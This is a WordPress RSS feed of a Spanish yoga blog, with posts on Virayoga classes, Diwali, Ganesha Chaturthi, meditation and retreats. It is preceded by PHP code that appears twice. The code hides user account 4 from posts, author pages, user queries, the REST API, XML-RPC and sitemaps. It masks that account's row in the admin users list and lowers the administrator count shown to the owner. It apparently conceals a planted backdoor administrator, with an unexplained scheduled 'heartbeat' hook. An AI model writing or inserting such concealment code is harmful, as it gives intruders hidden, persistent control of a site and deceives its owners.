add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
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add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
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	<title>Yoga &#8211; Yoga con Arjuna</title>
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	<item>
		<title>Secret Yoga Club Madrid</title>
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		<pubDate>Sun, 10 Dec 2017 15:58:27 +0000</pubDate>
		<dc:creator><![CDATA[Esther Casermeiro]]></dc:creator>
				<category><![CDATA[Alberto Lopez Arjuna]]></category>
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		<description><![CDATA[<p>En Diciembre tuve el placer de ser invitado y ofrecer una práctica de Virayoga para un evento que me encanta, el Secret Yoga Club. ¿Que es el Secret Yoga Club? El Secret Yoga Club es el punto de encuentro de todos los #YogaYonkies a los que nos gusta cuidarnos pero sin dejar de disfrutar, divirtiéndonos y...&#160;<a href="http://www.yogaconarjuna.com/2017/12/10/secret-yoga-club-madrid/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2017/12/10/secret-yoga-club-madrid/">Secret Yoga Club Madrid</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>En Diciembre tuve el placer de ser invitado y ofrecer una práctica de Virayoga para un evento que me encanta, el Secret Yoga Club.</p>
<p>¿Que es el Secret Yoga Club?</p>
<p>El Secret Yoga Club es el punto de encuentro de todos los #YogaYonkies a los que nos gusta cuidarnos pero sin dejar de disfrutar, divirtiéndonos y compartiendo vivencias únicas y sorprendentes. En cada Secret Yoga descubrirás una temática diferente y cómo la práctica de Yoga se puede adaptar a cualquier lugar transformándose una y otra vez en una experiencia nueva.</p>
<p>Ya veis, un encuentro muy mágico y dirigido por una persona con mucho amor, solidaria, entusiasta del yoga y muy creativa. Carla Sanchez, la cual conecte desde la primera llamada hasta el momento de nuestro encuentro.</p>
<p>Estoy feliz de formar parte de esta familia, de llevarme amigos y nuevos compañeros.</p>
<p>En mi facebook podréis ver el reportaje de <a href="https://www.facebook.com/arjunayogastudio">fotos</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img class="alignnone size-medium wp-image-2001" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24955718_1638089162918644_7891011614839558150_o-300x200.jpg" alt="Virayoga en el Secret Yoga Club" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24955718_1638089162918644_7891011614839558150_o-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24955718_1638089162918644_7891011614839558150_o-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24955718_1638089162918644_7891011614839558150_o-1024x683.jpg 1024w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24955718_1638089162918644_7891011614839558150_o-600x400.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" />  <img class="alignnone size-medium wp-image-2007" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24879765_1638089066251987_7468092923543628922_o-300x200.jpg" alt="Virayoga en el Secret Yoga Club" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24879765_1638089066251987_7468092923543628922_o-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24879765_1638089066251987_7468092923543628922_o-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24879765_1638089066251987_7468092923543628922_o-1024x683.jpg 1024w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24879765_1638089066251987_7468092923543628922_o-600x400.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" />  <img class="alignnone size-medium wp-image-2009" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837388_1638093082918252_8685650857044667386_o-300x200.jpg" alt="Virayoga en el Secret Yoga Club" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837388_1638093082918252_8685650857044667386_o-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837388_1638093082918252_8685650857044667386_o-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837388_1638093082918252_8685650857044667386_o-1024x683.jpg 1024w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837388_1638093082918252_8685650857044667386_o-600x400.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" />  <img class="alignnone size-medium wp-image-2010" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837634_1638092906251603_3251178648711726278_o-300x200.jpg" alt="Virayoga en el Secret Yoga Club" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837634_1638092906251603_3251178648711726278_o-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837634_1638092906251603_3251178648711726278_o-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837634_1638092906251603_3251178648711726278_o-1024x683.jpg 1024w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/24837634_1638092906251603_3251178648711726278_o-600x400.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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		<title>Master Class y presentación de Virayoga en Madrid</title>
		<link>http://www.yogaconarjuna.com/2017/12/10/master-class-presentacion-virayoga-madrid/</link>
		<comments>http://www.yogaconarjuna.com/2017/12/10/master-class-presentacion-virayoga-madrid/#respond</comments>
		<pubDate>Sun, 10 Dec 2017 15:44:07 +0000</pubDate>
		<dc:creator><![CDATA[Esther Casermeiro]]></dc:creator>
				<category><![CDATA[Alberto Lopez Arjuna]]></category>
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		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>El pasado mes de Noviembre celebramos la presentación del Libro en Madrid, junto al super equipo de Beta Editorial dirigido por Carles Matarrodona su director y como siempre acompañados por mi jefe de prensa Toni Delgado. El encuentro tuvo lugar en el centro de yoga Californian Hot Yoga, dirigido por su hospitalaria directora Macarena Cutillas....&#160;<a href="http://www.yogaconarjuna.com/2017/12/10/master-class-presentacion-virayoga-madrid/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>El pasado mes de Noviembre celebramos la presentación del Libro en Madrid, junto al super equipo de Beta Editorial dirigido por Carles Matarrodona su director y como siempre acompañados por mi jefe de prensa Toni Delgado.<br />
El encuentro tuvo lugar en el centro de yoga Californian Hot Yoga, dirigido por su hospitalaria directora Macarena Cutillas.</p>
<p>Aprovechando el magnífico lugar realizamos una Master class para que los asistentes disfrutaran de Virayoga.</p>
<p>&nbsp;</p>
<p><img class="alignnone size-medium wp-image-1997" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844890_1656280724438964_7750733400736724584_n-300x200.jpg" alt="Presentación y Master class de Virayoga en Madrid" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844890_1656280724438964_7750733400736724584_n-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844890_1656280724438964_7750733400736724584_n-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844890_1656280724438964_7750733400736724584_n-600x400.jpg 600w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844890_1656280724438964_7750733400736724584_n.jpg 960w" sizes="(max-width: 300px) 100vw, 300px" />  <img class="alignnone size-medium wp-image-2005" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844685_1656280707772299_7937729295509645420_n-300x200.jpg" alt="Arjuna, &quot;El canalla del yoga&quot;" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844685_1656280707772299_7937729295509645420_n-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844685_1656280707772299_7937729295509645420_n-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844685_1656280707772299_7937729295509645420_n-600x400.jpg 600w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23844685_1656280707772299_7937729295509645420_n.jpg 960w" sizes="(max-width: 300px) 100vw, 300px" />    <img class="alignnone wp-image-2003 size-medium" title="Virayoga" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23915618_1656280714438965_5090698786120103085_n-300x200.jpg" alt="" width="300" height="200" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23915618_1656280714438965_5090698786120103085_n-300x200.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23915618_1656280714438965_5090698786120103085_n-768x512.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23915618_1656280714438965_5090698786120103085_n-600x400.jpg 600w, http://www.yogaconarjuna.com/wp-content/uploads/2017/12/23915618_1656280714438965_5090698786120103085_n.jpg 960w" sizes="(max-width: 300px) 100vw, 300px" /></p>
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		<title>Barcelona Yoga Day 2017</title>
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		<pubDate>Mon, 12 Jun 2017 19:54:57 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Alberto Lopez Arjuna]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Artes Marciales]]></category>
		<category><![CDATA[Barcelona Yoga]]></category>
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		<category><![CDATA[Conoce el VIRA YOGA por Arjuna, el canalla del yoga]]></category>
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		<description><![CDATA[<p>Otro año más participamos en el Barcelona Yoga Day como parte de la organización y ofreciendo una VIRAYOGA Masterclass gratuita. Si todavía no conoces este sistema de yoga es un buen momento, para que vengas a conocernos. Practicaremos una sesión, despertaremos nuestro VIRA (Guerrer@ interno) a través de la respiración y la práctica. Y sobretodo...&#160;<a href="http://www.yogaconarjuna.com/2017/06/12/barcelona-yoga-day-2017/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>Otro año más participamos en el Barcelona Yoga Day como parte de la organización y ofreciendo una VIRAYOGA Masterclass gratuita.</p>
<p>Si todavía no conoces este sistema de yoga es un buen momento, para que vengas a conocernos. Practicaremos una sesión, despertaremos nuestro VIRA (Guerrer@ interno) a través de la respiración y la práctica. Y sobretodo pasaremos una hora en conexión con nuestro cuerpo, mente y espíritu.</p>
<p>Una práctica de yoga al aire libre, rodeados de naturaleza en el Parc de l&#8217;Estació del Nord, en Barcelona. Donde podrás también disfrutar de otras actividades como: conciertos, meditaciones, talleres, conferencias y comprar todo tipo de artículos artesanales.</p>
<p>También tendrás la ocasión de adquirir nuestro libro «Conoce el Virayoga por Arjuna, el canalla del yoga» ya que Beta Editorial es patrocinadora oficial del Barcelona Yoga Day. Y si estás interesado podrás llevarte tu libro dedicado por mi.</p>
<p>¡Así que os esperamos el domingo 18 de junio a las 12h en el espacio Asanas!</p>
<p>Mas info en VIRAYOGA en Barcelona Yoga Day</p>
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		<title>Diwali</title>
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		<pubDate>Wed, 11 Nov 2015 11:30:28 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Yoga]]></category>
		<category><![CDATA[Diwali]]></category>
		<category><![CDATA[Hindú]]></category>
		<category><![CDATA[India]]></category>

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		<description><![CDATA[<p>Cierro los ojos y puedo volver a India aquella noche de Kartika&#8230; Recién aterrizado, cansado del avión, con dos grandes amigos Mahajana y su esposa Duria. Cuando la energía de las luces del Diwali camino Vrindavan me iban activando&#8230; Diwali quiere decir fila de lámparas encendidas. Durante cinco días, dando inicio el día 15 del...&#160;<a href="http://www.yogaconarjuna.com/2015/11/11/diwali/">[Leer&#160;más]</a></p>
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				<content:encoded><![CDATA[<p>Cierro los ojos y puedo volver a India aquella noche de Kartika&#8230; Recién aterrizado, cansado del avión, con dos grandes amigos Mahajana y su esposa Duria.</p>
<p>Cuando la energía de las luces del Diwali camino Vrindavan me iban activando&#8230;</p>
<p>Diwali quiere decir fila de lámparas encendidas. Durante cinco días, dando inicio el día 15 del calendario lunar de Kartika, es decir entre los meses de Octubre y noviembre, según el calendario Gregoriano, se da inicio a Diwali, uno de los festivales mas importantes del calendario Hindú.</p>
<p>Al igual que otras celebraciones de la India, el festival Diwali tiene su origen en la mitología y conmemora la victoria del bien sobre el mal. El primer día de la celebración es denominado Dhanteras, un día dedicado a adorar al Dios Laksmi, el máximo representante de la riqueza y la prosperidad; el segundo día conmemora la muerte del demonio Naraksura por el Dios Krishna; este día simboliza la desaparición de la negatividad; el tercer día es conocido como “Badi Diwali”, el último día del año en el calendario lunar; la tradición es rendir culto al Dios Lakshmi después del atardecer. En este día los residentes también decoran sus casas y ofrecen sus oraciones a Lakshmi para darle la bienvenida a sus casas y encienden lámparas en casas y calles.</p>
<p>En el cuarto día, las familias celebran el nuevo año vistiendo ropas nuevas y usando sus mejores joyas para visitar familiares y colegas de trabajo y ofrecer dulces, frutas y regalos. Finalmente, el quinto día es considerado como sagrado para todos los hermanos y las hermanas; una preparación especial llamada Tilak se aplica en la frente de los hermanos. Ésta marca es el conocido círculo, ubicado entre las cejas, el cual debe ser usado en celebraciones especiales.</p>
<p>Es una festividad muy bella ya que ricos y pobres unen su luz para iluminar las a veces duras vidas de los pueblos de India y Nepal. Desde ancianos a bebés todos se unen e iluminan con ilusión sus calles y corazones<br />
<a href="https://yogaconarjuna.files.wordpress.com/2015/11/img_0669.jpg"><img src="https://yogaconarjuna.files.wordpress.com/2015/11/img_0669.jpg" alt="" /></a><br />
Arjuna</p>
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		<title>GANESHA CHATURTHI</title>
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		<pubDate>Wed, 09 Sep 2015 12:34:17 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Yoga]]></category>
		<category><![CDATA[Ganesha]]></category>
		<category><![CDATA[HISTORIA DE GANESH]]></category>
		<category><![CDATA[Yoguis]]></category>

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		<description><![CDATA[<p>Ganesha Chaturti es la festividad del dios Ganesh, se dice que Ganesh remueve los obstáculos así que los Yoguis aprovechamos esta festividad para observar los obstáculos que nos bloquean y eliminarlos. Este año se celebra el 17 de Septiembre. Nosotros en mi estudio de yoga lo celebramos a las 18:30h, estas invitado! Aki os dejo...&#160;<a href="http://www.yogaconarjuna.com/2015/09/09/ganesha-chaturthi/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>Ganesha Chaturti es la festividad del dios Ganesh, se dice que Ganesh remueve los obstáculos así que los Yoguis aprovechamos esta festividad para observar los obstáculos que nos bloquean y eliminarlos.</p>
<p>Este año se celebra el 17 de Septiembre. Nosotros en mi estudio de yoga lo celebramos a las 18:30h, estas invitado!</p>
<p>Aki os dejo la historia de por que Ganesh es un niño con cabeza de Elefante.</p>
<p>Arjuna</p>
<p>HISTORIA DE GANESH</p>
<p>El origen de esta festividad recae en las escrituras sagradas hindúes, las cuales nos cuentan la historia del dios Ganesha.<br />
Según la leyenda, el dios Shiva, el dios hindú de la destrucción, se encontraba lejos en la guerra. Su mujer Parvati, quien era diosa por su propio derecho, deseó tomarse un baño, pero no habiendo ningún guardia para que vigilara la puerta de su aposento se le ocurrió la idea de crear a un hijo para que le custodiara.<br />
Parvati creó entonces a Ganesha de la pasta de sándalo que usaba para bañarse y le dio vida dentro de una figura. Entonces ella lo situó en la puerta y le dio instrucciones para que nadie entrara. Mientras tanto el dios Shiva regresó de la batalla pero como Ganesha no le conocía no le dejó que entrara en la habitación de Parvati. Shiva, enfurecido por este hecho, cogió su espada y cortó la cabeza de Ganesha. Cuando Parvati salió y vió a Ganesha decapitado entró en cólera. Entonces ella adquirió la forma de la diosa Kali y amenazó con destruir los tres mundos existentes, el cielo, la tierra y el subsuelo. Viendo lo malhumorada que estaba, los otros dioses estaban realmente temerosos y Shiva, en un intento de calmar a Parvati, transmitió a la multitud que trajeran la cabeza del primer ser vivo que apareciera del norte (la dirección propicia asociada con la sabiduría). El primer ser vivo que apareció fue un elefante. Entonces le trajeron la cabeza del elefante y Shiva la colocó en el tronco del hijo de Parvati dándole vida. Parvati se puso contentísima y abrazó a su hijo, el niño con cabeza de elefante que Shiva llamó Ganesha.</p>
<p>Alberto López (Arjuna)</p>
<p>albertyoga@hotmail.com</p>
<p>Tf. 619 945 481</p>
<p>#yogaconarjuna</p>
<p>@yogaconarjuna</p>
<p>ॐ</p>
<p><a href="http://www.yogaconarjuna.com/wp-content/uploads/2015/09/image11.jpg"><img class="alignnone size-medium wp-image-266" src="http://www.yogaconarjuna.com/wp-content/uploads/2015/09/image11.jpg?w=300" alt="image" width="300" height="169" /></a></p>
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		<title>Las MEDITACIÓNES con ARJUNA</title>
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		<pubDate>Wed, 29 Jul 2015 16:33:16 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Meditación]]></category>
		<category><![CDATA[Yoga]]></category>
		<category><![CDATA[Como meditar]]></category>
		<category><![CDATA[dinámicas]]></category>
		<category><![CDATA[mantras]]></category>
		<category><![CDATA[silencio]]></category>
		<category><![CDATA[yantras]]></category>

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		<description><![CDATA[<p>Si pones en Wikipedia meditación te dice: -La meditación describe la práctica de un estado de atención concentrada en una deidad, objeto externo, pensamiento, la propia conciencia, o el propio estado de concentración. La meditación es un componente de diversas religiones o doctrinas filosóficas. Es usada también con propósitos intelectuales o de salud. Bajo mi...&#160;<a href="http://www.yogaconarjuna.com/2015/07/29/la-meditaciones-con-arjuna/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>Si pones en Wikipedia meditación te dice:<br />
-La meditación describe la práctica de un estado de atención concentrada en una deidad, objeto externo, pensamiento, la propia conciencia, o el propio estado de concentración. La meditación es un componente de diversas religiones o doctrinas filosóficas. Es usada también con propósitos intelectuales o de salud. Bajo mi punto de vista, si quieres conocer el verdadero significado de la meditación, medita.</p>
<p>Diferentes formas y técnicas de meditación hay en el mundo, dinámicas, de visualización, con mantras, yantras, en silencio&#8230;</p>
<p>La idea es empezar y saber el objetivo de la meditación, ya que la principal finalidad en esta era en que estamos es ordenar la mente.</p>
<p>Vivimos dispersos, aturdidos de información y colapsados por la velocidad en que nos movemos. La MEDITACIÓN nos aísla de este mundo atroz de las prisas, ansiedades, de los ahora ya&#8230;</p>
<p>Los primeros resquicios de la meditación los encontramos en la India, en concreto del Vedantismo del año 1500 antes de Cristo.</p>
<p>Arqueólogos encontraron en la India figuras y grabados que han sido rastreados al año 3000 antes de Cristo, en lo que se presentan figuras sentadas en la clásica postura de meditación – Flor de Lotto – por lo que se cree que la meditación tiene al menos 5 mil años de antigüedad.</p>
<p>Desde entonces el camino a la iluminación según los grandes maestros pasaba por dedicar horas y horas a la meditación.</p>
<p>En este momento de evolución y cada vez más, empieza a formar parte de la vida social y ya no es de «gente rara» el meditar. Escuelas avanzadas ya lo incluyen e incluso grandes multinacionales obligan a su personal a tomar clases de meditación y yoga, con el fin de ayudar a rentabilizar la productividad de la empresa. Demostrado ya científicamente que es 100% rentable, ya que reduce el estrés y mejora la actitud laboral.</p>
<p>Como meditar:</p>
<p>Para empezar es importante tener tu momento, a poder ser por la mañana que es cuando la mente está más tranquila. Si eres principiante el lugar ha de ser tranquilo ya que cualquier distracción te llevará a la mente. Más adelante, cuando avances en la práctica, tal como decía Krishnamurti: &#8211; «Medita en el caos ya que en un ambiente sosegado es muy sencillo».<br />
La idea no es dejar la mente en blanco, sino el tomar las riendas de lo que a veces es una caballo loco. Apaciguar la mente, respirar, tomar conciencia del momento presente y sentir algo tan básico como tu respiración&#8230;</p>
<p>Adopta una buena actitud; Columna bien erguida, lumbares relajadas, afloja por completo tu cuerpo, toma conciencia del momento presente, ordena a tu mente que se relaje y pasa una cámara mental haciendo un test para ver como te encuentras en este momento. Observa como estas a nivel físico, mental, emocional y energético.</p>
<p>La respiración será consciente en todo momento, la inhalación y la exhalación han de ser por la misma nariz. A partir de ahí, siente como inhalando tu respiración crece de abajo a arriba utilizando toda tu capacidad pulmonar. Exhalando vacías el aire en sentido inverso, suavemente dejando que la respiración se dignifique y se instale en tu ser. Dejando así instalada una respiración consciente que te ayudará a estar en el aquí y ahora.</p>
<p>A partir de aquí mantente presente en lo q sucede, deja que poco a poco crezca tu respiración y no caigas en tus trampas mentales, fluye con la respiración y si surgen pensamientos déjalos que desaparezcan sin implicarte.</p>
<p>Esta es una de mis introducciones a la hora de guiar<b> Las MEDITACIONES con ARJUNA</b>, te ayudará a tomar conciencia del presente y dejar a un lado los pensamientos negativos.</p>
<p>Empieza con estas bases y veras que fácil, más adelante te enseñaré diferentes técnicas.</p>
<p>Desde aquí te invito a meditar diariamente para que puedas vivir con más consciencia y de forma equilibrada, recuerda que meditar regularmente te aporta salud física, mental, emocional y energética para tu vida.</p>
<p><a href="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/img_0529.jpg"><img class="alignnone wp-image-247" src="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/img_0529.jpg?w=300" alt="IMG_0529" width="739" height="732" /></a><br />
<b>Arjuna </b></p>
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		<title>EL RETIRO DEL YOGUI</title>
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		<pubDate>Mon, 20 Jul 2015 21:00:45 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Desapego]]></category>
		<category><![CDATA[Meditación]]></category>
		<category><![CDATA[Yoga]]></category>
		<category><![CDATA[EL RETIRO DEL YOGI]]></category>
		<category><![CDATA[emocional]]></category>
		<category><![CDATA[energetico]]></category>
		<category><![CDATA[físico]]></category>
		<category><![CDATA[mental]]></category>

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		<description><![CDATA[<p>El la vida de un practicante de Yoga, llega un momento en que es necesario unirse con otros practicantes para compartir conocimientos, vivencias, y si en caso que vivas en la ciudad dirigirte a la naturaleza. Es ahí donde empieza tu sanación, cuando te envuelves de la madre tierra. Cuando la ingesta de alimentos es...&#160;<a href="http://www.yogaconarjuna.com/2015/07/20/el-retiro-del-yogui/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p>El la vida de un practicante de Yoga, llega un momento en que es necesario unirse con otros practicantes para compartir conocimientos, vivencias, y si en caso que vivas en la ciudad dirigirte a la naturaleza. Es ahí donde empieza tu sanación, cuando te envuelves de la madre tierra. Cuando la ingesta de alimentos es saludable y todo tiene otra velocidad, dónde limpiamos nuestras retinas al disfrutar de los verdes paisajes y oxigenamos nuestros pulmones con aire puro.<br />
Es el momento de dirigir toda tu energía en ti mismo y transformarte en un ser un poquito más evolucionado, es el tiempo que un practicante de Yoga deja atrás sus quehaceres y busca <b>EL RETIRO DEL YOGUI</b>.</p>
<p>En el retiro buscas la mejora de tu práctica, el resolver temas internos, aislarte de la ciudad para envolverte de la esencia de la naturaleza para despertar tus sentidos, unir con todos los ejercicios que mejoran tu practica, los momentos de soledad serán buenos en un retiro para aprovechar y evaluar tu estado físico,mental, emocional y energético.</p>
<p>En fin, multitudes de beneficios los cuales un practicante de Yoga necesita. Es el momento en que el yogui despierta, deja su vida cotidiana y se de dedica al auto conocimiento, recargarse, saber donde se encuentra y a donde se dirige&#8230;</p>
<p><a href="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/2015-07-18-18-16-35.jpg"><img class="alignnone  wp-image-241" src="http://www.yogaconarjuna.com/wp-content/uploads/2015/07/2015-07-18-18-16-35.jpg?w=300" alt="2015-07-18 18.16.35" width="631" height="476" /></a></p>
<p><b>Arjuna</b></p>
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		<title>EL EGO DEL PRINCIPIANTE </title>
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		<pubDate>Thu, 09 Jul 2015 16:36:16 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Desapego]]></category>
		<category><![CDATA[Fluir]]></category>
		<category><![CDATA[Liberación]]></category>
		<category><![CDATA[Meditación]]></category>
		<category><![CDATA[Yoga]]></category>
		<category><![CDATA[EGO]]></category>

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		<description><![CDATA[<p>Yo, tu, el, nosotros, vosotros, ellos&#8230; Todos en algo hemos sido principiantes alguna vez. En el mundo del Yoga también existe «El ego del principiante» a pesar de que es una filosofía en la cual trabaja valores como la humildad, el respeto, la interiorización&#8230; La falta de experiencia, la curiosidad mental y sobretodo el ego...&#160;<a href="http://www.yogaconarjuna.com/2015/07/09/el-ego-del-principiante/">[Leer&#160;más]</a></p>
